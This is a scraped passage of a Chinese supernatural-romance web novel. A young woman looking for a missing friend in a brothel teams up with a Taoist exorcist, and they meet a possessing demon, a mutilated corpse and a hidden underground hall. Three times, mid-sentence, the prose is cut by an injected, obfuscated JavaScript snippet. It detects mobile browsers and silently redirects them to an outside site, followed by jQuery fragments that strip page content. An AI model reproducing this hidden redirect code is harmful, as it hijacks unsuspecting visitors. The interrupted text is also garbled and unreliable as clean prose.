出了院门,便瞧见主楼方向,那侍婢带着两个小厮过来了。对方似乎也注意到了她,撒腿就朝她追过来,乔苑珠见势,化走为跑,嫌披帛碍事,索性扯了下来扔到一边,提起裙摆,慌不择路。
其中一个小厮身手十分敏捷,在人群中左腾右窜,不仅没扰了客人,竟还有十多步就能追上她。她直奔前路转角,越过转角便有一刻能脱离视线,届时,或是躲进阴影里,或是换一条路,选择便多了。然而刚越过转角,却发现前路通直,既没有可以掩身的角落,也没有岔路,人来人往,凭她的身手恐难再逃脱。尝试着推了两扇房门,无奈房中春宵正浓,竟没有一扇能推开。
小厮的脚步声快要越过转角。
她慌得细汗直冒,忽而人群中一只大手从旁捂了她的嘴,一把将她拽入怀中,抵在墙角。她还来不及反应,那人撑开大氅盖过她的头顶,另一只手扣住她的肩,将她往怀中去揉。
周遭人来人往,男人毫无顾忌地将头往下埋,好挡住她的脸。乔苑珠呼吸急促,热气吹到他胸膛上,他似乎还有些抖。
此人身上酒味颇浓,她心道莫不是又让她碰上了意欲轻薄她的酒鬼,便握拳一拳锤到他胸口上。自认力道不小,可男人却一声不吭,听得沉声悠悠道:“再乱动,就把你扔出去。”
乔苑珠立马噤声,此时小厮的声音恰好就在他二人身侧,男人将身子弯得更低,脸凑得更近,在离她两寸的地方停了下来,作势要吻她。
乔苑珠试图说服自己,这人是在救她呢,可这个姿势任谁来看,都像是小郎君拉着娇娘在寻欢!
她蹙眉抬头对上他的眼,忽见他眼中似有月,又像山间的清风,乔苑珠只觉得这双眼熟悉无比,此人右半边脸上还长了好大一块红斑,不是那日与沈公子一起救她那人又是谁?
“怎的闪过拐角就不见了。”高个儿道。
“这里人太多,再找找。”瘦子道。
高个儿的见墙角处有两人交叠,身下分明有一女子,疑心顿生,正欲走过去查看,不料瘦子连忙将他拉住,悄声道:“贵人你也敢扰?楼里的规矩,贵客扰不得。”
瘦子朝他使了好一番眼色,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15071473|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他顺着眼风瞧过去,只见男人身后披的一玄色织金云锦大氅,其上金线熠熠。他顿时了悟,这哪里是寻常贵客,恐怕是惹了便能掉脑袋的主儿。一个小娘子能翻起多大风浪,左不过是香儿那丫头想借他哥儿俩的手拿赏钱,回去便说跟丢了。赏钱事小,惹了贵人事大,思及此,俩人心照不宣,各自朝别的方向查看去。
乔苑珠听见脚步声远了,顿松了口气。她惯来擅长靠鼻子识人,此人身上虽有酒气,可总体来说是草木香,像雨过清晨山间的露水,又隐隐含着极淡极淡的符纸灰味儿。草木熏香寻常,但是熏香中有符纸味儿的极少,再加上一双朗月般的眼睛,乔苑珠大喜。
“道长,是你!”
徐枳也没防住她这一嗓子,生怕把那俩小厮又引回来,急忙抬手捂上她的嘴,朝旁看去,待确认声音没引来人,才低头看怀里的乔苑珠。
正想发火呢,却见她一双眼睛亮晶晶地看着他,眼中笑意毫不掩饰,双手还自然的搭在他胸前,再往下一看,只见乔苑珠单着了一件儒裙,香肩外露,自己的手竟还扣在她的肩上!
他旋即松开手转身,摸了摸鼻头,尴尬地咳了两声,担心她再被人认出来,脱下大氅兜头给她罩上。
“此处不宜久留,先跟我走。”
楼中戴兜帽太过可疑,再遇上那俩小厮恐怕躲不过去,徐枳也只得将她从身后捞到前头来,拽到身侧,一手搂着她的肩,一手替她掩面,朝一客室去。
乔苑珠心知他是在替她遮掩,也就没说什么,只是配合,一边走一边小声问:“道长,你怎么在这儿?”
徐枳也十万分的想不通,这小娘子,胆子忒大,此时竟还有心情管旁的,但他实在好奇,问道:“你如何知道是我的?”
“道长身上的味道与他人十分不同,甚是好记,你这脸上的斑倒像是此地无银......”乔苑珠脱口而出。
“......”
俩人推门进了客室。
沈岳君见有人推门进来,立马就迎上来,见徐枳也脸色古怪,怀中又抱着一小娘子,心中了然,摇开折扇道:“阿……”
话刚蹦出一个字,徐枳也一记眼刀扫过去,沈岳君立马打住,转而对乔苑珠道:
“你是那日被李兵调戏的小娘子!你怎得今日又在这里?还穿着楼里的衣服?”
“献兄,你为何把手搭在人家身上?”
“献兄,你表情为何如此古怪!”
沈岳君是个话痨的,徐枳也不理他,进了屋后找到椅子坐下,悠悠地对乔苑珠道:“你胆子也太大了,你可知这里是什么地方?”
乔苑珠理了理衣裳,又把垂在肩上的发盘上去,道:“我知道,只不过我今日有急事,非得来一趟不可。”
“你有何急事?说与我们听听,说不定我们还能帮你呢。”沈岳君问。
沈岳君生得极好看,在乔苑珠的认知里,通常长得好看的人是不好相与的,比如徐枳也,她虽觉得徐枳也长了一副好样貌,却十分不好糊弄。
此番见到沈岳君,若不是他嘴角时常挂着笑,光是看脸的话,乔苑珠都要将他归入不好相与的队列,没想到是个热心肠的。
19. 薄汗
乔苑珠朝他施了个礼:“多谢沈公子。”
突然想到在楼中已偶遇了沈岳君两次,林巧的下落他说不定知道一二,遂又开口问道:“沈公子可听说过巧娘?”
“巧娘?你说的可是西苑那位?”沈岳君手中折扇一敲。
“公子知道!?”乔苑珠道。
“知道是知道,不过我也没与她打过几次照面,你与她有什么渊源吗?”沈岳君问。
“巧娘是我故友,前几日有个书生到我斋中寻我,说巧娘失踪了,我心中放心不下,便想了法子混了进来。”乔苑珠蹙眉道。
“他自己不能来?”徐枳也适时问道。
乔苑珠知他说的“他”是指那书生,转头对他道:“他原先是凭巧娘的香牌进出的,不过最近渡口的小厮不认那块牌子了,如何都不让他进。”
“他一个大男人都没法子进,你一女子进来又能简单到哪儿去?”徐枳也一针见血,说的便是她蹲在芦苇丛里混到新人队伍里面的事。
乔苑珠被他问的哑口无言,这一点她没仔细想过,原本明月仙居进出就十分严格,那书生看起来又是个怯生的,除了凭香牌进出,怕是任他想破脑袋也找不到法子进来。
“我原本也是有所疑虑的,可巧娘已经失踪好一段日子,我心里头实在担心,他若不找我,我自己也愿意来。”乔苑珠正色道。
徐枳也瞧着,只觉得这是个颇有些脾气的小娘子。
“那你找到巧娘了吗?”沈岳君道。
“没有,我去了西苑,原来巧娘院子的牌子换了,院中格局也大变,楼中院内俱没有她的影子和痕迹。”乔苑珠道。
“按理说楼里不会经常变换院子,不过说起来,我也有一阵子没见过巧娘了,她是西苑的头牌,虽说本就不常露面,但每隔七日在楼中也会演上一场,如此看来确实奇怪。”沈岳君道。
“巧娘失踪是什么时候的事?”徐枳也开了口。
“按照书生的说法,大约是十日前。”乔苑珠道。
大约十日前,竟是如此巧合?
也是约莫十日前,他偶然发现京中有妖邪之气一闪而过,一路追踪,最后在明月仙居没了踪迹,所以他才找到沈岳君带他进来探查。
无奈进了楼中多次,都没有查出异样。
就在这时,门外一道黑影闪过,徐枳也腾身而起:“有妖气!”
言毕已经追出了门。
乔苑珠惊慌着摸了下额头,连忙追过去:“道长,我与你一道去!”
“合着就我多余嘿。”沈岳君独自留在屋内。
两人一路追着黑影来到一处院子前,光是在门口,乔苑珠就闻到了一股浓烈的血腥味,不由地皱了皱眉头。
“怎么了?”徐枳也问。
“院子里有很浓的血腥味。”乔苑珠答道。
徐枳也推门进到院中,院内一片祥和,屋中没有点灯,隐隐有淡薄的妖气从屋内飘出,“在屋子里。”
两人一同进到屋内,借着月光环顾了下四周,屋内陈设一应摆放整齐,不似有打斗的痕迹。
从进门起,徐枳也便感受到一股妖气在他二人四周游移不定,这股妖气十分虚浮,一个变换方位便难以察觉从而隐了踪迹,之前追到明月仙居那次也是如此。
此等情形,若非这妖物法力高强,那便可能是已经受了伤,然这两种情况无论哪种,皆很麻烦。
为了不引人注意,进楼时并没有带法器,若是妖物法力高强,恐难应付。
另一种情况,如果这妖物受了伤,妖气无需掩饰便已十分淡薄,令人难以察觉,若是再加上极重的怨念,行到穷处势必会想尽一切办法吸人阳气,以恢复己身再出来行凶,今夜楼中少说有几百人,到那时影响面就大了。
另一边,乔苑珠额间的金尘还在泛出,但也同样摸不准妖物的方向,只得先靠着鼻子探寻线索。
寻着血腥味,她摸到一张床前,犹豫了一下,还是抬手撩起了紧闭的罗帐,然而入目是一片触目惊心的红,衾被高高隆起,似是有什么非人的东西盖在其中。
她小心翼翼地掀开衾被,当即心头一窒,里头竟是一老妇,双目已被扣去,眼珠就抛在旁边,手脚皆呈现极其扭曲的姿势,整个人好像被摆弄成了一个牵线木偶!
“道长……”乔苑珠心骇,还没等她说完话,有什么重物狠狠地撞到她的背心,紧接着她便陷入了一片混沌里。
徐枳也闻声赶过来,先是走近查看了罗帐中的惨状,又见乔苑珠蹲坐在床前一动不动,甚是奇怪,便伸手去拍她,还没等到碰得她的肩膀,只见她噌地一下起身,双眼赤红,面目凶狠的望着他,双手青筋暴起,抬掌便朝他劈来。
妖气蹿腾,乔苑珠被妖物上身了!
他往后一仰,掌风擦过鼻尖,堪堪躲过之后他迅速翻身从袖中摸出一张符纸,捏了诀甩腕掷出,然而对方身手矫健,瞬息便已经闪离,符纸落地成灰。
“道长好厉害的道法,”仍是乔苑珠的嗓音,却不知杂糅了多少妩媚:“小女子此身有恙,不知道长的阳气可否借我一用?”
“你有胆便来试试。”
此一趟,不便暴露身份,故而徐枳也并没有带他那把却邪宝剑,若想将妖物从她身上逼出,还得寻着机会擒住再画个法阵驱邪才行。
他旋身跃至乔苑珠的身后,一手绕前去扣住她的肩,另一手抄起袖中滑出的定身符朝她额头贴去。
乔苑珠见状,先是矮身躲过他圈过来的手臂,随后一手撑地翻脚飞踢,将他手中的符纸打落后往旁跃了三步。
未等她落定,徐枳也欺身朝前,伸手拽住她的双臂扣在身后,腾出一只手就要贴符,然而乔苑珠身量实在太小,一个翻身脱手,抬掌朝着他的面门劈过去。
徐枳也来不及闪避,捏诀蓄力,一臂挡开掌风,一手拍到乔苑珠肩侧,乔苑珠顿时被拍得后退好几步,失力倒下,身后一阵黑烟飘出,好一阵的咳嗽才恢复了原声道:“道长你力气也太大了吧。”
徐枳也心道这妖物着实法力低微,竟受不住一掌,自己倒跑出来了。
“对不住,情况实在危急,我与乔娘子赔罪。”
徐枳也刚要走过去扶她,就在此时,乔苑珠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15071474|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴角微不可查地笑了一下,待他至身前,她的眼睛对上他的眼,双手缠绵地攀上他的肩头。
眼波荡漾,来不及反应,一片冰凉柔软的触感就覆上了他的唇,鼻间还有她温热的气息。
一瞬心窒,他一动没动,任由她攀着。
他感受到了她的心跳,感受到了她的体温,而她双眼紧闭,睫毛微颤,鬓发因为灵流的波动翻飞,脸颊升起红晕,眉心微有薄汗,一块不大不小的十字印记若隐若现。
她在吞噬他的法力!
徐枳也微微皱眉,手凝内力,轻巧地推开了她。
乔苑珠本来深陷混沌不得出,眼前是一片漆黑,神识也十分模糊,突然感觉到一股带着馨香的热流从唇至口,流入腹中,只觉得浑身舒畅,温暖又舒服。
唯一的不适是咒印所在之处,越来越痒热难耐,比之前任何一次都要烫百倍!渐渐的,眼前明亮起来,神识归位,有什么东西从她后背脱出。
乔苑珠刚醒转,微觉唇有点异样,并没有多想,只是额头处烫得难受,正郁闷之间,见地上软坐着一女子。与其说软坐在地,不如说是以一种及其怪异的方式趴在地上,衣衫不整,钗环凌乱,周身还有极稀薄的难以察觉的妖气。
“庄林巧?”
她率先开了口,心脏狂跳,只因眼前人无论是长相、穿着、举止,都与故人太过相似!
被叫做庄林巧的妖物僵硬地抬了抬头,眼睛空洞,两行血泪挂在苍白的脸上,四肢像是临时拼接的,无力扭曲地摆在地上,诡异至极。
听到有人喊她,下意识循声抬头,无奈一双眼框深陷,里头竟然没有眼珠,对着无人处启唇:“晓晓?”
乔苑珠心口仿佛被尖刀剜了一下,还没等她做出反应,院外突然响起一声窸窣,庄林巧没做片刻犹豫,眨眼化作黑烟窜了出去。
待她二人追出去,庄林巧已不见踪影。
-
“秦管事好本事,平日与我唱反调也就罢了,我福娘担待着,今日新倌儿入楼,忙得脚不沾地,你们西苑的人都死了不成?倒叫我那老嬷嬷替你们跑上跑下!”
“小的只昨日酉时见过秦管事,她说她头疼回西苑儿歇会儿就出来。”
“头疼?这楼里谁人不是生了疮烂了肉还照样迎客!歇会儿?哼!她个老货为楼里挣了几个钱就敢歇得不见人影?当我这儿是养闲人的不是?”
有人来了。
徐枳也拉了愣神的乔苑珠,没入墙角。
阴影里,乔苑珠觉得徐枳也奇怪得很,故意离她有些距离,时不时还抬手摸着自己的唇。
门口气势汹汹进来一富态妇人,步伐极快,被门槛绊了还不忘转身踢一脚,整套动作行云流水,中气十足也不见急喘,走一步身上的肉还要晃三晃,双手叉腰,口中骂骂咧咧地直奔堂屋去。身后跟了个弓腰的小厮,头也不敢抬,只是赔笑跟着走进院中。
老妇人的尸身还在,且屋中他们探查过的痕迹尚未处理,若是有人发现,难免不会节外生枝,乔苑珠抬头看了看徐枳也,徐枳也没说话,只摇了摇头,示意她静观其变。
20. 财神佛龛
片刻,听得一连串尖叫声传来,有东西被打翻,却没见人出来。
“秦……秦管事!”小厮惊恐道。
“狗东西你喊什么!”福娘声音颤抖。
“小……小的现在就去报官!”小厮似乎就要从屋中跑出来。
“站住!没用的东西!”福娘没好气地道:“死个老婆子算什么?这楼里烂了死了的人多了去了,事事都报官,你当衙门是你家开的?”
“可是……”小厮带着哭腔。
“去!找妥帖的人,摸黑抬出去埋了,不许让任何人知道,若是入了谁的眼,就拿你那瘫了的老娘来偿。”福娘咬着牙道。
“可要是有人问起秦管事……”小厮道。
福娘思忖了一下,轻描淡写道:“就说我放她回乡养老了,明日提拔新的管事。”
说罢从屋内快步出来,边走还边啐了一口:“呸!真晦气!这个月还真是娘的撞了邪了!”
福娘从院中急步而出,正当福娘跨出院门,乔苑珠眉心突然金尘浮动,铺满眼睫。
乔苑珠与徐枳也对视一眼,心照不宣跟了上去。
-
卯时,楼中人该歇的歇,该回家的回家,没什么人走动。
徐枳也捏了诀掩了一部分脚步声,一路尾随福娘。
穿过廊桥,堂中无人,二人趁机没入戏台子底下,主楼大堂东北角有旋梯上楼,福娘没做停留,径直上了顶楼,经过正对戏台子的走廊,拐入了一个转角。
二人紧随其后,隐在转角处屏息听声,先是衣服摩擦墙壁的声音,福娘似乎艰难的走了有十来步,接着一声咔哒的声音,福娘的声息便消失了。
乔苑珠不敢妄动,抬头跟徐枳也交换了一个眼神,徐枳也不多做思量,朝她点了点头,二人缓步迈了出去。
福娘果然不见了踪影。
转角后头没有再连接长长的走廊,两堵墙壁之间夹着狭道,里头没点灯,漆黑一片,且十分逼仄,仅能容纳一个人走,以福娘的身材,那便只能侧着身子走。
往里走十多步,摆着一处财神爷的供台,神像前头新点的三柱香悠悠地飘着烟。
“此处应是有机关。”徐枳也走在前头,俯下身检查神台。
“我听见了咔哒声,”乔苑珠站在徐枳也身后,攀摸着墙壁:“那个声音不像是金属,倒像是……像是石头撞在了一起。”
徐枳也闻言,转而搜索起神台附近的石制器物。
乔苑珠摸索了身前较为方便够到的墙壁一无所获,又开始朝上摸,大概摸到往上的第三排,有一处凹陷,凹陷处似乎还有繁复的纹路。她用力按了按,并没有反应:“我摸到一块有纹路的砖,可是好像并没有异常,按不动。”
徐枳也直伸手摸索过去,不小心碰到了乔苑珠的指尖,冰凉的。
“抱歉。”
乔苑珠觉得这里空间如此狭小,又黑灯瞎火,搜索间有摩擦实属正常,可是徐枳也却十分郑重地道歉,心中愈发觉得奇怪,想了想道:“道长为何也来明月仙居?可是早就探查到这里有……”话到嘴边终觉不妥,转而道:“可是早就探查到这楼里有异?”
徐枳也手中没停,将那块砖仔仔细细摸索了一通,中间纹路清晰,四周微有凹陷,是长期机动留下的痕迹。
将那块砖的四个角都按了一遍,没有任何反应,想起来乔苑珠在问,遂道:“大约十日前,我探查到一缕妖气,那妖气跟今日一样,十分微弱时隐时现,我一路尾随到这里失了它的踪迹。”
“十日前?正是林巧失踪的时间。”乔苑珠有些沮丧,许久又道:“道长,若是你擒住了她,先将她交给我可好?”
“好。”
徐枳也话音刚落,一声咔哒,神台轻巧地往下收起,一扇小小的石门从神台背后打开,里头点了烛,幽黄一片,一串石阶连通往下。
两人前后进了石门,那门似有感应,无声无息又自动合上了,严丝合缝,让人看不出痕迹。
石阶并不算长,大约只有三十来阶,下到最底下的时候倒是突然一片开阔,入目是一扇高大的门,两边有石柱。
石柱上各雕刻了一株顶天立地的扶桑树,门上雕花更是精美绝伦,似是一座金碧辉煌的宫殿在举行盛大的宴会,宴席之上皆是美娇娘,吹拉弹唱,吟诗作对,翩翩起舞。
门并没有上锁,徐枳也俯耳,断定里头没人,起身轻轻推开,带着乔苑珠摸了进去。
进门是一段长长的走廊,走廊两边挂满了红纱和大红灯笼,每隔一柱还有两根红烛。
这里似乎是人工开凿的洞天,周遭皆是石壁,除了来路,只顶头有一处洞口,月光从上面洒下来。
走廊两侧皆是人造景观,引了地下水做成了小桥流水,移植过来的花花草草沐浴着月光长得茂盛,若不是一个人都没见到,无声无息的稍显诡异,倒还要夸一句好景致。
“这地底下竟然有如此大的空间,雕梁画柱,灯笼红烛,不似人间。”乔苑珠悄声道。
“如此庞大的工事,按理说应当经由工部核定批准,用料规格皆有规定,看这架势,恐怕是瞒着工部私自建的。”徐枳也道。
“私自建的?可明月仙居本就是做的烟柳巷生意,又还有什么是比这还更见不得人的?”乔苑珠疑惑道。
两人没几步走到了走廊的尽头,面前是一幢小巧别致的两层小楼,欢笑声伴着丝竹声传来。
乔苑珠与徐枳也对视一眼,进了小楼去。
二人摸进一楼大堂,堂中没遇见人,福娘也失了踪迹,先前的声音是从楼上传下来的。
徐枳也摸出罗盘瞧了瞧,皱起了眉。
乔苑珠疑惑着看了过去,只见着他手中罗盘的指针胡乱摆动,毫无规律可言。
她此前对道家法器感兴趣,搜罗了好些书来看,知道这轮盘是测妖气方位的。这轮盘要么一动不动,要么转一圈之后落在一个方向上不动,断没有说胡乱转的道理,又想起来先前西苑管事的院中,妖气也是环绕虚浮,不知是不是这个原因。
乔苑珠抬头往楼上看了看,眼下罗盘是靠不住,还得往上寻过去。
二楼厢房连着厢房,过道不宽还七拐八绕,绕得人头晕,乔苑珠想了想从地上摸了一点灰,蹭到门柱的不起眼处。
徐枳也将乔苑珠掩在身后缓步往里走,经过一转角
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15071475|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处,确定没有声音才带着乔苑珠转过去。
二人刚从一个转角拐出去,就见前头一小丫头搀着一位婀娜的娇娘从房中步出,正是朝他们的方向走过来。
娇娘身材颇苗条,眼上蒙着白纱,身着白裙,手中抱了一把琵琶,脚下步步生花,颇有仙人之姿。
一身洁白,只腕上有一圈红尤其显眼,还有淡淡的血腥味裹着脂粉味飘荡出来。
整个走廊毫无遮挡,二人避无可避,却见那小丫头搀着娇娘头也不抬的与他们擦肩而过,全程仿佛没看见他二人!
乔苑珠没想通,道:“秦楼楚馆都是这个规矩吗?”
徐枳也瞧了她一眼,道:“我不常来。”
“……”
继续往前走又陆续遇到几人,均是视他们若无物。
徐枳也怀中的罗盘抖动的越发凶了,然而他们还没找到福娘,妖气也寻不见踪迹,前头又有人声传来。
“福娘,顺嬷嬷叫小的下来知会,今夜有人混进了楼中,是两个小厮发现的,她已叫人在上头搜了。”
“知道了,告诉顺嬷嬷,秦管事死了,让她盯一下处理干净,另外叫几个人,把这儿也给我挨个儿搜一遍,有客人的就借口送羹汤,一间房都不要放过!”
“是!”几个人一齐应声!
徐枳也拉了乔苑珠就往回走,顺着先前她做的标记,好在不会迷路。
可后头追得紧,就算他们跑出了小楼,难说他们不会在廊上被发现,如此跑下去不是办法。
厢房一间连着一间,每间房前都挂了牌子,除了上头刻的字不同,实在看不出来还有什么区别。
徐枳也在一处房前不作停留,悄声带着乔苑珠进去,屏息掩上了门。
房中果然没人。
刚要喘口气,突然有人猛的推门进来。
是翠儿!
乔苑珠又惊又喜,那头翠儿却是惊恐万分。
门口脚步声抵近,紧接着传来几声敲门声,没有人喊话。
翠儿像是从敲门声中突然醒过神来,着急万分地将乔苑珠徐枳也引入厅内。
厅堂不大,连着里间的地方摆了硕大一个佛龛,上头供着的是财神爷。
佛龛后头被掏空,翠儿将她二人推入,盖上遮挡,严丝合缝,这才出去迎门。
“例行检查。”
“几位爷请。”
翻找的声音极小,许是担心扰了客人清净。有脚步往佛龛靠近,徐枳也按着乔苑珠的发顶屏息间将她往下藏,不料对方却没有检查。
检查足足耗了一柱香的功夫。
早几百年前世上已没有神佛,就算有乔苑珠也是惯不信财神爷的,也不是不敬佛神,或是对财神爷有什么偏见,她觉得财神爷应该是天宫里面信徒最多的神官,信徒多了自然难以听到每个人的心声。
再加上神官兑现福祉应当也是有份额的,按照神官们普度众生的行事风格,那么财神爷手中的福祉分到他的信徒手中也应当是最少的,这也就是为什么这世上因为穷而死掉的人才是最多。
故而她不拜财神爷,眼下躲在财神爷的佛龛背后也没有半点觉得亵渎神明。